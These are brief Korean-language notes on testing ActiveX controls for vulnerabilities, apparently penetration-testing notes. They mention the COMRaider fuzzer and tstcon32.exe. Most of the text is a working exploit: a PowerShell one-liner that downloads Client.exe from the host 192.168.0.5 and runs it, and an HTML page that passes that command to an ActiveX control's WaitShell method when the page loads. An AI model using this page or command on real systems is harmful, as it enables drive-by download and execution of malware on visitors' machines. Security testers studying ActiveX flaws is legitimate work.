Active X 취약점 점검
COMRaider 사용
visual C++ 6.0 / tstcon32.exe 사용
powershell 을 이용한 파일 다운로드 & 파일 실행 한줄 명령어
cmd.exe /c powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.5/dashboard/Client.exe','C:\\abc.exe') & C:\\abc.exe
함수 사용 예시
<html>
<head>
<title>MyActiveX webpage</title>
</head>
<body>
<OBJECT id="myActiveX" classid="clsid:00000000-0000-0000-0000-000000000000"></OBJECT>
<script type="text/javascript">
try {
var obj = document.myActiveX;
if (obj) {
obj.WaitShell("cmd.exe /c powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.0.5/dashboard/Client.exe','C:\\abc.exe') & C:\\abc.exe","0");
} else {
alert("Object is not created!");
}
} catch (ex) {
alert("Some error happens, error message is: " + ex.Description);
}
</script>
</body>
</html>